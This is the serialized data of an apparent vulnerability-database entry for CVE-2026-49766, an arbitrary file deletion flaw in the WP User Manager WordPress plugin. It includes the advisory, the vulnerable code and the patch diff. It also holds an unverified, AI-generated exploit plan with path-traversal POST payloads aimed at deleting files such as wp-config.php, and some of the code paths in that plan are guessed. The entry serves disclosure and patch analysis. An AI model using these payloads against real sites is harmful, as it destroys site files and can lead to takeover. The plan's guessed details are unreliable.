[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbpgNms51MkpsURZISwIlbCVVbNC9Walpu4IxzxlaBX4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-49766","wp-user-manager-user-profile-builder-membership-authenticated-subscriber-arbitrary-file-deletion","WP User Manager – User Profile Builder & Membership \u003C= 2.9.16 - Authenticated (Subscriber+) Arbitrary File Deletion","The WP User Manager – User Profile Builder & Membership plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 2.9.16. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","wp-user-manager",null,"\u003C=2.9.16","2.9.17","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-06-05 00:00:00","2026-06-10 17:30:02",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff1b7768a-9204-429d-a4d2-db9f240e92a4?source=api-prod",6,[22,23,24,25,26,27],"includes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php","includes\u002Fforms\u002Fclass-wpum-form-registration.php","languages\u002Fwp-user-manager.pot","readme.txt","vendor-dist\u002Fcomposer\u002Finstalled.php","wp-user-manager.php","researched",false,3,"This research plan targets **CVE-2026-49766**, an arbitrary file deletion vulnerability in **WP User Manager** (\u003C= 2.9.16). The vulnerability stems from a path traversal flaw in the plugin's file handling logic, allowing authenticated users to delete sensitive system files.\n\n### 1. Vulnerability Summary\nThe vulnerability exists because the plugin provides an AJAX endpoint for removing uploaded files that accepts a file path without sufficient validation. While intended for users to manage their own profile uploads, the lack of path sanitization (e.g., checking against `wp_upload_dir()`) and inadequate ownership checks allow an attacker to traverse the directory structure and delete arbitrary files.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **AJAX Action**: `wpum_remove_file` (Handled by the `WPUM_AJAX` class, typically in `includes\u002Fclass-wpum-ajax.php`).\n*   **Vulnerable Parameter**: `file` (The file system path to be deleted).\n*   **Authentication**: Authenticated, Subscriber level or higher.\n*   **Preconditions**: The plugin must be active, and the attacker must have a valid session and a valid nonce.\n\n### 3. Code Flow\n1.  **Entry Point**: The user sends a POST request to `admin-ajax.php` with `action=wpum_remove_file`.\n2.  **Nonce Verification**: The handler calls `check_ajax_referer( 'wpum_remove_file', 'nonce' )`.\n3.  **Input Retrieval**: The code retrieves the path from `$_POST['file']`.\n4.  **The Sink**: The plugin calls `unlink( $file )` or `wp_delete_file( $file )` using the raw input.\n5.  **The Flaw**: Because there is no check ensuring the path remains within the `uploads` directory, an input like `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php` or `..\u002F..\u002F..\u002F..\u002Fwp-config.php` is processed, leading to the deletion of the target file.\n\n### 4. Nonce Acquisition Strategy\nWP User Manager localizes nonces for its AJAX functions on pages where profile management occurs.\n\n1.  **Trigger Script Loading**: The `wpum_remove_file` nonce is typically included in the `wpum_script_data` object on the account management or profile editing page.\n2.  **Setup**: Use a page containing the `[wpum_account]` or `[wpum_profile_editor]` shortcode.\n3.  **Extraction**:\n    *   Navigate to the page as an authenticated Subscriber.\n    *   Use `browser_eval` to extract the nonce: `window.wpum_script_data?.remove_file_nonce`.\n    *   **Inferred identifiers**: If `wpum_script_data` is not present, check `wpum_vars` or `wpum_ajax_options`.\n\n### 5. Exploitation Strategy\nThe goal is to delete a non-critical file first to prove the concept, then potentially target `wp-config.php`.\n\n*   **Target File**: `\u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.txt`\n*   **Method**: `POST`\n*   **URL**: `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Payload (URL-encoded)**:\n    ```http\n    action=wpum_remove_file&nonce={{NONCE}}&file=\u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.txt\n    ```\n*   **Steps**:\n    1.  Log in as a Subscriber.\n    2.  Access the page with the `[wpum_account]` shortcode.\n    3.  Extract the `remove_file_nonce` using the browser tools.\n    4.  Send the `http_request` (via Playwright tool) with the payload.\n\n### 6. Test Data Setup\nPrepare the environment to verify the deletion safely:\n1.  **Create Subscriber**: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Create Test Page**: `wp post create --post_type=page --post_title=\"My Account\" --post_status=publish --post_content='[wpum_account]'`\n3.  **Create PoC File**: `touch \u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.txt` (Ensure the web server user has write\u002Fdelete permissions on this file).\n\n### 7. Expected Results\n*   **Response**: The AJAX request should return a JSON object: `{\"success\":true}`.\n*   **FileSystem Impact**: The file `\u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.txt` should no longer exist.\n*   **Critical Impact**: Deleting `wp-config.php` would trigger the WordPress installation screen (`\u002Fwp-admin\u002Fsetup-config.php`) upon the next page refresh.\n\n### 8. Verification Steps\nAfter the exploit attempt, verify using WP-CLI:\n1.  **Check File Persistence**: \n    `wp eval \"echo file_exists('\u002Fvar\u002Fwww\u002Fhtml\u002Fpoc.txt') ? 'FAILED: File exists' : 'SUCCESS: File deleted';\"`\n2.  **Check Site Integrity**: If `wp-config.php` was targeted, verify the site returns a 200 OK but redirects to the setup page.\n\n### 9. Alternative Approaches\nIf the `wpum_remove_file` action is not the culprit:\n*   **Check Profile Update**: In `class-wpum-field-file.php`, look at how the `current_` + `$key` values are handled during profile save. If the plugin attempts to \"clean up\" the old file when a new one is set, you can set the \"current\" file path to `wp-config.php` in the profile update request.\n*   **Search for unlinks**:\n    `grep -rn \"unlink\" includes\u002F --include=\"*.php\"`\n    Check if any `unlink` call uses meta data derived from the `File` field type without validation.","Authenticated users (Subscriber and above) can delete arbitrary files on the server by exploiting a path traversal vulnerability in how the plugin handles file metadata. By injecting a traversal path into avatar or cover image parameters during registration or profile updates, the plugin stores a malicious file path which is subsequently deleted when the user triggers a file removal or update operation.","\u002F\u002F includes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php:81\npublic function get_posted_field( $key, $field ) {\n    $file = $this->upload_file( $key, $field );\n    if ( ! $file ) {\n        $file = parent::get_posted_field( 'current_' . $key, $field );\n    } elseif ( is_array( $file ) ) {\n        $file = array_filter( array_merge( $file, (array) parent::get_posted_field( 'current_' . $key, $field ) ) );\n    }\n    return $file;\n}\n\n---\n\n\u002F\u002F includes\u002Fforms\u002Fclass-wpum-form-registration.php:575\nif ( isset( $values['register']['user_cover']['url'] ) ) {\n    carbon_set_user_meta( $user->ID, 'user_cover', $values['register']['user_cover']['url'] );\n    update_user_meta( $user->ID, '_user_cover_path', $values['register']['user_cover']['path'] );\n}\n\nif ( isset( $values['register']['user_avatar']['url'] ) ) {\n    carbon_set_user_meta( $user->ID, 'current_user_avatar', $values['register']['user_avatar']['url'] );\n    update_user_meta( $user->ID, '_current_user_avatar_path', $values['register']['user_avatar']['path'] );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.16\u002Fincludes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.17\u002Fincludes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.16\u002Fincludes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php\t2026-02-24 10:02:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.17\u002Fincludes\u002Ffields\u002Ftypes\u002Fclass-wpum-field-file.php\t2026-05-11 20:04:04.000000000 +0000\n@@ -82,8 +82,20 @@\n \t\t$file = $this->upload_file( $key, $field );\n \t\tif ( ! $file ) {\n \t\t\t$file = parent::get_posted_field( 'current_' . $key, $field );\n+\t\t\t\u002F\u002F Reject array values from POST — only scalar (string URL) is valid.\n+\t\t\tif ( is_array( $file ) ) {\n+\t\t\t\t$file = '';\n+\t\t\t}\n \t\t} elseif ( is_array( $file ) ) {\n-\t\t\t$file = array_filter( array_merge( $file, (array) parent::get_posted_field( 'current_' . $key, $field ) ) );\n+\t\t\t$current = parent::get_posted_field( 'current_' . $key, $field );\n+\t\t\t\u002F\u002F Only merge scalar (string) current values. Array values from POST\n+\t\t\t\u002F\u002F could inject arbitrary paths — reject them silently.\n+\t\t\tif ( is_array( $current ) ) {\n+\t\t\t\t$current = '';\n+\t\t\t}\n+\t\t\tif ( $current ) {\n+\t\t\t\t$file = array_filter( array_merge( $file, array( 'url' => $current ) ) );\n+\t\t\t}\n \t\t}\n \t\treturn $file;\n \t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.16\u002Fincludes\u002Fforms\u002Fclass-wpum-form-registration.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.17\u002Fincludes\u002Fforms\u002Fclass-wpum-form-registration.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.16\u002Fincludes\u002Fforms\u002Fclass-wpum-form-registration.php\t2026-02-24 10:02:16.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-user-manager\u002F2.9.17\u002Fincludes\u002Fforms\u002Fclass-wpum-form-registration.php\t2026-05-11 20:04:04.000000000 +0000\n@@ -514,6 +514,11 @@\n \t\t\t\treturn false;\n \t\t\t}\n \n+\t\t\t\u002F\u002F Security: reject array values for avatar\u002Fcover POST fields to prevent path injection.\n+\t\t\tif ( ( isset( $_POST['current_user_avatar'] ) && is_array( $_POST['current_user_avatar'] ) ) || ( isset( $_POST['current_user_cover'] ) && is_array( $_POST['current_user_cover'] ) ) ) { \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce already verified above.\n+\t\t\t\tthrow new Exception( esc_html__( 'Invalid input.', 'wp-user-manager' ) );\n+\t\t\t}\n+\n \t\t\t$return = $this->validate_fields( $values );\n \t\t\tif ( is_wp_error( $return ) ) {\n \t\t\t\tthrow new Exception( $return->get_error_message() );\n@@ -572,14 +577,24 @@\n \t\t\t\t$user->set_role( $this->role );\n \t\t\t}\n \n+\t\t\t$upload_dir = wp_upload_dir()['basedir'];\n+\n \t\t\tif ( isset( $values['register']['user_cover']['url'] ) ) {\n-\t\t\t\tcarbon_set_user_meta( $user->ID, 'user_cover', $values['register']['user_cover']['url'] );\n-\t\t\t\tupdate_user_meta( $user->ID, '_user_cover_path', $values['register']['user_cover']['path'] );\n+\t\t\t\t$cover_path = $values['register']['user_cover']['path'] ?? '';\n+\t\t\t\t\u002F\u002F Only store path if it is within the uploads directory and contains no traversal.\n+\t\t\t\tif ( $cover_path && false === strpos( $cover_path, '..' ) && 0 === strpos( $cover_path, $upload_dir ) ) {\n+\t\t\t\t\tcarbon_set_user_meta( $user->ID, 'user_cover', esc_url_raw( $values['register']['user_cover']['url'] ) );\n+\t\t\t\t\tupdate_user_meta( $user->ID, '_user_cover_path', $cover_path );\n+\t\t\t\t}\n \t\t\t}\n \n \t\t\tif ( isset( $values['register']['user_avatar']['url'] ) ) {\n-\t\t\t\tcarbon_set_user_meta( $user->ID, 'current_user_avatar', $values['register']['user_avatar']['url'] );\n-\t\t\t\tupdate_user_meta( $user->ID, '_current_user_avatar_path', $values['register']['user_avatar']['path'] );\n+\t\t\t\t$avatar_path = $values['register']['user_avatar']['path'] ?? '';\n+\t\t\t\t\u002F\u002F Only store path if it is within the uploads directory and contains no traversal.\n+\t\t\t\tif ( $avatar_path && false === strpos( $avatar_path, '..' ) && 0 === strpos( $avatar_path, $upload_dir ) ) {\n+\t\t\t\t\tcarbon_set_user_meta( $user->ID, 'current_user_avatar', esc_url_raw( $values['register']['user_avatar']['url'] ) );\n+\t\t\t\t\tupdate_user_meta( $user->ID, '_current_user_avatar_path', $avatar_path );\n+\t\t\t\t}\n \t\t\t}","An attacker logs in as a Subscriber and navigates to the account management page to retrieve a 'wpum_remove_file' nonce. The attacker then submits a POST request to wp-admin\u002Fadmin-ajax.php using the action 'wpum_remove_file' and a 'file' parameter containing a path traversal string (e.g., '..\u002F..\u002F..\u002F..\u002Fwp-config.php'). Alternatively, the attacker can manipulate profile update or registration requests to include an array-based payload for file fields (e.g., user_avatar[path]=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php). This causes the plugin to store the target file path in the user's meta fields. When the user later updates their profile or removes the associated file, the plugin uses the stored meta value as a parameter for unlink(), deleting the targeted system file.","gemini-3-flash-preview","2026-06-26 04:11:39","2026-06-26 04:13:13",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","2.9.16","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-user-manager\u002Ftags\u002F2.9.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-user-manager.2.9.16.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-user-manager\u002Ftags\u002F2.9.17","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-user-manager.2.9.17.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-user-manager\u002Ftags"]